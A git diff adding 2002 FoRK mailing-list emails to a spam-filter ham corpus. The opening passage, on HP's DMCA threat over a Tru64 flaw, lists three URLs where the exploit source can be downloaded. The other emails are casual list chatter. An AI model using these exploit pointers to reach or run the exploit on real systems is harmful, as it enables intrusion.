vulnerablities. This is not a good precedent... +> [...] +> > WASHINGTON--Hewlett Packard has found a new club to use to pound +> > researchers who unearth flaws in the company's software: the Digital +> > Millennium Copyright Act. +> > +> > Invoking both the controversial 1998 DMCA and computer crime laws, HP +> > has threatened to sue a team of researchers who publicized a +> > vulnerability in the company's Tru64 Unix operating system. +> > [...] + +Well that exploit requires an executable stack so it won't happen on a +properly admin-ed system. But anyway grab it if you want from any of +a million places, such as: + + http://www.securiteam.com/exploits/5YP0S2035O.html + + http://packetstormsecurity.nl/0101-exploits/tru-64.su.c + + http://spisa.act.uji.es/spi/progs/codigo/www.hack.co.za/exploits/os/dg-ux/alpha/5a/su.c + + +Bye, + Rob. + .-. .-. + / \ .-. .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' `-' \ / + `-' `-' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00943.3aff5bb6204ff82c23a293a92e180e6f b/bayes/spamham/easy_ham_2/00943.3aff5bb6204ff82c23a293a92e180e6f new file mode 100644 index 0000000..2832282 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00943.3aff5bb6204ff82c23a293a92e180e6f @@ -0,0 +1,76 @@ +From fork-admin@xent.com Thu Aug 1 00:13:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2F449440A8 + for ; Wed, 31 Jul 2002 19:13:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 00:13:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VNBf212761 for ; + Thu, 1 Aug 2002 00:11:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2CA9B294109; Wed, 31 Jul 2002 16:09:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (unknown [64.243.46.20]) by + xent.com (Postfix) with SMTP id BB2052940FD for ; + Wed, 31 Jul 2002 16:08:10 -0700 (PDT) +Received: (qmail 31024 invoked by uid 501); 31 Jul 2002 23:08:10 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 31 Jul 2002 23:08:10 -0000 +From: CDale +To: fork@spamassassin.taint.org +Subject: Re: What's cool about doing nothing +In-Reply-To: <3D4861B4.6090501@cse.ucsc.edu> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 18:08:10 -0500 (CDT) + +I think there's a link to all the details on welcomehome.org, but +basically it was told to me this way: govt wanted land in arizona or someplace, +indians said no, govt said 'okay, u know that land in MS u want? we will +fux0r it, then.' indians still said no, govt fux0red it. +C + +On Wed, 31 Jul 2002, Elias Sinderson wrote: + +> Heh. Never mind the perfectly good desert in the southwest, right? Or is +> that area too hot for desert warfare training? I'll never understand. +> +> E +> +> CDale wrote: +> +> >Okay, I'll ammend that to LIVE OLD tree saving, like the thousands of +> >acres of virgin pine forest that was razed here in MS so that our military +> >can practice desert warfare? Fought it for years, lost, now there is a +> >stand of trees up and down Hwy 49 that's supposed to try to hide the fact +> >that a huge portion of the Desoto Ntl. Forest is gone. +> > +> +> +> http://xent.com/mailman/listinfo/fork +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00944.2e5be87c72bd8346791a005cb715f640 b/bayes/spamham/easy_ham_2/00944.2e5be87c72bd8346791a005cb715f640 new file mode 100644 index 0000000..24dc300 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00944.2e5be87c72bd8346791a005cb715f640 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Thu Aug 1 07:21:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 03BF5440A8 + for ; Thu, 1 Aug 2002 02:21:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 07:21:21 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g716DV232612 for ; + Thu, 1 Aug 2002 07:13:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A410A2940EC; Wed, 31 Jul 2002 23:11:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 420602940BB for ; Wed, + 31 Jul 2002 23:10:13 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id C0A5C3ECF1; + Thu, 1 Aug 2002 02:11:10 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id BF2013EC81; Thu, 1 Aug 2002 02:11:10 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Cc: vox@mindvox.com +Subject: Pics and thanks +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 02:11:10 -0400 (EDT) + + +I gota thank all you kind folk who sent thier well wishes our way. It was +a bumpy ride but everything is working out and allthe good vibes are a +tremendous help. Ive saved each one and along with the cards and other +emails we have been getting we are goign to print them out add them to +Benjamins baby book. + +Ive had just enough time to Gimp up a pic so folks can see the little +bloke. Head on over to http://wsmf.blogspot.com/ and have a gander at the +boy. + +-tom(i cant feedem so I changem)whore + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00945.334b11a09567241ae4647487aa140392 b/bayes/spamham/easy_ham_2/00945.334b11a09567241ae4647487aa140392 new file mode 100644 index 0000000..43916ef --- /dev/null +++ b/bayes/spamham/easy_ham_2/00945.334b11a09567241ae4647487aa140392 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Thu Aug 1 11:28:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 487F6440E5 + for ; Thu, 1 Aug 2002 06:28:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:28:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g719bU205542 for ; + Thu, 1 Aug 2002 10:37:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C7AA8294151; Thu, 1 Aug 2002 02:35:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 423C02940AA for + ; Thu, 1 Aug 2002 02:34:06 -0700 (PDT) +Received: (qmail 10216 invoked by uid 500); 1 Aug 2002 09:34:15 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 1 Aug 2002 09:34:15 -0000 +From: Chris Haun +X-X-Sender: chris@isolnetsux.techmonkeys.net +To: James Rogers +Cc: fork@spamassassin.taint.org +Subject: Re: What's cool about doing nothing +In-Reply-To: <1028156521.6887.25.camel@avalon> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 05:34:15 -0400 (EDT) + +if it were me, i think i'd have a spare set of tanks in ft. irwin, and +just move the soldiers. + + +On 31 Jul 2002, James Rogers wrote: + +> The first is logistical: Virtually all the mechanized infantry units are +> located east of the Rockies, and it must be very expensive to move +> entire heavy combat divisions a couple thousand miles every time they +> want to run training exercises. This is particularly true since so much +> of our military is made up of reserve components these days, meaning +> that you can't move the soldiers to where the training facilities are. +> + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00946.6d3c3492c0310d58e7eccadf18fbd9de b/bayes/spamham/easy_ham_2/00946.6d3c3492c0310d58e7eccadf18fbd9de new file mode 100644 index 0000000..5d53a5a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00946.6d3c3492c0310d58e7eccadf18fbd9de @@ -0,0 +1,77 @@ +From fork-admin@xent.com Thu Aug 1 12:09:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E8A8F440E5 + for ; Thu, 1 Aug 2002 07:09:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 12:09:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71B1R209227 for ; + Thu, 1 Aug 2002 12:01:29 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 71CE7294155; Thu, 1 Aug 2002 03:59:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id C6206294154 for + ; Thu, 1 Aug 2002 03:58:12 -0700 (PDT) +Received: (qmail 20322 invoked by uid 501); 1 Aug 2002 10:58:23 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 1 Aug 2002 10:58:23 -0000 +From: CDale +To: Tom +Cc: fork@spamassassin.taint.org, +Subject: Re: Pics and thanks +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 05:58:23 -0500 (CDT) + +Leave it to Tom to put the one w/ his son's wanker in the center. LOL +Reminds me of when my sister called me about the birth of her first son. +She goes: "Cindy, he looks just like his dad, but he's HUNG!" LOL ehehe +Grats, Tom, he's gorgeous. Good thing he doesn't look like you. (: +Cindy + +On Thu, 1 Aug 2002, Tom wrote: + +> +> I gota thank all you kind folk who sent thier well wishes our way. It was +> a bumpy ride but everything is working out and allthe good vibes are a +> tremendous help. Ive saved each one and along with the cards and other +> emails we have been getting we are goign to print them out add them to +> Benjamins baby book. +> +> Ive had just enough time to Gimp up a pic so folks can see the little +> bloke. Head on over to http://wsmf.blogspot.com/ and have a gander at the +> boy. +> +> -tom(i cant feedem so I changem)whore +> +> +> +> http://xent.com/mailman/listinfo/fork +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00947.5983cb8fa9a4c2a27cb6eca03e0be56d b/bayes/spamham/easy_ham_2/00947.5983cb8fa9a4c2a27cb6eca03e0be56d new file mode 100644 index 0000000..85f2694 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00947.5983cb8fa9a4c2a27cb6eca03e0be56d @@ -0,0 +1,50 @@ +From fork-admin@xent.com Thu Aug 1 12:40:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C24E8440EA + for ; Thu, 1 Aug 2002 07:40:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 12:40:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71BZX210766 for ; + Thu, 1 Aug 2002 12:35:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D59FD294159; Thu, 1 Aug 2002 04:33:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail1.cmpnet.com (mailhost.cmpnet.com [66.77.26.104]) by + xent.com (Postfix) with ESMTP id 5031F294158 for ; + Thu, 1 Aug 2002 04:32:56 -0700 (PDT) +Received: from prod3.cmpnet.com (prod3.cmpnet.com [66.77.26.18]) by + mail1.cmpnet.com (8.12.1/8.12.1) with ESMTP id g71BXFOZ013457 for + ; Thu, 1 Aug 2002 04:33:15 -0700 (PDT) +Received: (from webuser@localhost) by prod3.cmpnet.com (8.11.6+Sun/8.11.6) + id g71BXF507504 for fork@xent.com; Thu, 1 Aug 2002 04:33:15 -0700 (PDT) +Message-Id: <200208011133.g71BXF507504@prod3.cmpnet.com> +From: grlygrl201@aol.com +To: fork@spamassassin.taint.org +Subject: Not Surprised +MIME-Version: 1.0 +Content-Type: text/html +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 04:33:15 -0700 (PDT) + + +It took me a week to get down to this; +The towering pine and the hemlock.

+http://www.informationweek.com/story/IWK20020723S0005 +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00948.45f4b4bb682dc47ef46832c9c6fc7499 b/bayes/spamham/easy_ham_2/00948.45f4b4bb682dc47ef46832c9c6fc7499 new file mode 100644 index 0000000..57cdf5b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00948.45f4b4bb682dc47ef46832c9c6fc7499 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Mon Jul 15 21:45:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id 96EBC43F9E + for ; Mon, 15 Jul 2002 16:45:00 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 15 Jul 2002 21:45:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6FKgZJ05173 for ; + Mon, 15 Jul 2002 21:42:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 226192940E6; Mon, 15 Jul 2002 13:31:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id A8989294098 for ; + Mon, 15 Jul 2002 13:31:01 -0700 (PDT) +Received: from maya.dyndns.org (ts5-033.ptrb.interhop.net + [165.154.190.97]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6FI8ax19509 for ; Mon, 15 Jul 2002 14:08:36 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 053581C2F1; + Mon, 15 Jul 2002 14:18:08 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Maybe it's just me ... +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Date: 15 Jul 2002 14:18:08 -0400 +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org + +>>>>> "T" == ThosStew writes: + + T> ... The Mormon church has a fabulous MIS system, and since it's + T> built on geneological tracking + +If that's what you would like to believe, go right ahead. + + T> I assume you weren't suggesting that a person's religion + T> (assuming the Mormon's ex-CIO was Mormon) should be an + T> issue. + +No, not at all. I was only concerned where the border between religion +and cult gets real fuzzy, and where the r/c in question has known +paranoiac tendencies. + +Then again, maybe you're right, it's a very close match in job +descriptions. Obviously it does not concern anyone else, and since +it's none of my business, I'll shut up about it and put it down to +more funky fun in US politics. + +Afterall, all I know for certain about the Mormons is the background +and fallout on my ex-wife's excommunication ;) + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00949.c95efde29210bb5d7ffd820283ef2821 b/bayes/spamham/easy_ham_2/00949.c95efde29210bb5d7ffd820283ef2821 new file mode 100644 index 0000000..b4649b9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00949.c95efde29210bb5d7ffd820283ef2821 @@ -0,0 +1,51 @@ +From fork-admin@xent.com Thu Aug 1 16:52:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0C3AC440F0 + for ; Thu, 1 Aug 2002 11:52:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 16:52:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71Fnv219184 for ; + Thu, 1 Aug 2002 16:49:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7D2922940A9; Thu, 1 Aug 2002 08:47:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 87B702940A6 for ; Thu, 1 Aug 2002 08:46:10 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 0A0E8C44E; + Thu, 1 Aug 2002 17:44:35 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Scramjet works? : HyShot experiment takes-off +Message-Id: <20020801154435.0A0E8C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 17:44:35 +0200 (CEST) + +Quoth R. A. Hettinga: +>The HyShot experiment - attempting the world`s first flight test of the +>supersonic combustion process - was launched at 1135 local time (1205 AEST) +>at the Woomera Prohibited Area, 500km north of Adelaide today. + +Eh? AFAIK, the Russian Kholod program achieved successful supersonic +combustion in a scramjet about 10 years ago. + +Bye, + Rob. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00950.faa69102e30c15ae98cdfee27a2763a7 b/bayes/spamham/easy_ham_2/00950.faa69102e30c15ae98cdfee27a2763a7 new file mode 100644 index 0000000..fdf075d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00950.faa69102e30c15ae98cdfee27a2763a7 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Thu Aug 1 17:03:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B9B64440F0 + for ; Thu, 1 Aug 2002 12:03:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:03:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71FtO219627 for ; + Thu, 1 Aug 2002 16:55:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C168029415C; Thu, 1 Aug 2002 08:48:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jidmail.nmcourts.com (jidmail.nmcourts.com + [198.59.128.143]) by xent.com (Postfix) with ESMTP id 21FAD294158 for + ; Thu, 1 Aug 2002 08:47:22 -0700 (PDT) +Received: from thorson.nmcourts.com ([198.59.128.48]) by + jidmail.nmcourts.com (Post.Office MTA v3.5.4 release 224 ID# + 0-59782U3000L300S0V35) with ESMTP id com for ; + Thu, 1 Aug 2002 09:47:18 -0600 +Message-Id: <5.1.0.14.0.20020801093741.00addec0@jidmail.nmcourts.com> +X-Sender: martyh@jidmail.nmcourts.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: fork@spamassassin.taint.org +From: martyh@nmcourts.com (Marty Halvorson) +Subject: Re: What's cool about doing nothing +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 01 Aug 2002 09:47:36 -0600 + +Elias Sinderson wrote: + > Heh. Never mind the perfectly good desert in the southwest, right? Or is + > that area too hot for desert warfare training? I'll never understand. + +How hot it feels is affected by both temperature and humidity. In +Mississippi they have lots of humidity, in the Southwest, we don't. + +As I know from experience, Mississippi feels a lot hotter at 90 degrees F. +than home (Santa Fe) does at 90. + +Perhaps the military didn't want to train in a real desert because 1) it +get's over 100 degrees and any time the air temp is greater than body temp +it affects performance, and 2) when those troops go to a real desert +they'll think it's so much nicer than Mississippi. + +No, I'm not maligning Mississippi. I had a great time passing through last +year on vacation. + +Peace, + +Marty Halvorson +marty@halvorson.us + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00951.8fb9dfe3439c2d9380e5d3c490d6f4bd b/bayes/spamham/easy_ham_2/00951.8fb9dfe3439c2d9380e5d3c490d6f4bd new file mode 100644 index 0000000..d592ae8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00951.8fb9dfe3439c2d9380e5d3c490d6f4bd @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Aug 1 17:03:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DCF8D440F1 + for ; Thu, 1 Aug 2002 12:03:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 17:03:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71G01219919 for ; + Thu, 1 Aug 2002 17:00:04 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 945B6294160; Thu, 1 Aug 2002 08:48:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 675E7294158 for ; + Thu, 1 Aug 2002 08:47:41 -0700 (PDT) +Received: from maya.dyndns.org (ts5-009.ptrb.interhop.net + [165.154.190.73]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g71FMsX04055 for ; Thu, 1 Aug 2002 11:22:54 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id AF95B1C3BD; + Thu, 1 Aug 2002 11:47:49 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Not Surprised +References: <200208011133.g71BXF507504@prod3.cmpnet.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 01 Aug 2002 11:47:49 -0400 + + +Then again, if 57% of CEOs have the time to be as up on technology as +their CIO, either one or maybe even /both/ of them are maybe not doing +their job, and maybe that's yet another reason the dot-bubble burst. + +Mind you, I've been head-butting with 'tech-expert' captains (and +cooks) all my life. It's probably my own damn fault for making what I +do /look/ so easy, and also probably why 'metal guitarists grimmace so +when playing a simple rubato ;) + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00952.20f2a87e04d388867133510c9550135e b/bayes/spamham/easy_ham_2/00952.20f2a87e04d388867133510c9550135e new file mode 100644 index 0000000..f7a553c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00952.20f2a87e04d388867133510c9550135e @@ -0,0 +1,59 @@ +From fork-admin@xent.com Thu Aug 1 18:02:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6629A440F0 + for ; Thu, 1 Aug 2002 13:02:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 18:02:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71H1P223000 for ; + Thu, 1 Aug 2002 18:01:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B0D8C2940AA; Thu, 1 Aug 2002 09:59:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 951CD2940A9 for ; Thu, + 1 Aug 2002 09:58:02 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 29BA93EDA8; + Thu, 1 Aug 2002 12:59:05 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 2832C3EDA7; Thu, 1 Aug 2002 12:59:05 -0400 (EDT) +From: Tom +To: CDale +Cc: fork@spamassassin.taint.org, +Subject: Re: Pics and thanks +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 12:59:05 -0400 (EDT) + +On Thu, 1 Aug 2002, CDale wrote: + +--]Leave it to Tom to put the one w/ his son's wanker in the center. + +Heck, why hide perfection:)- No bias here, nope none whatsoever. + +Ill have to snap another nudie of him in a few days to show off his +bodymodification (snip snip circ circ). I even had an empty chair +present:)- + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00953.9f9ee238cc01866c7ceb6e00b41c9b8e b/bayes/spamham/easy_ham_2/00953.9f9ee238cc01866c7ceb6e00b41c9b8e new file mode 100644 index 0000000..f9e386f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00953.9f9ee238cc01866c7ceb6e00b41c9b8e @@ -0,0 +1,83 @@ +From fork-admin@xent.com Thu Aug 1 19:45:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65E95440F3 + for ; Thu, 1 Aug 2002 14:45:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 19:45:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71IhQ226514 for ; + Thu, 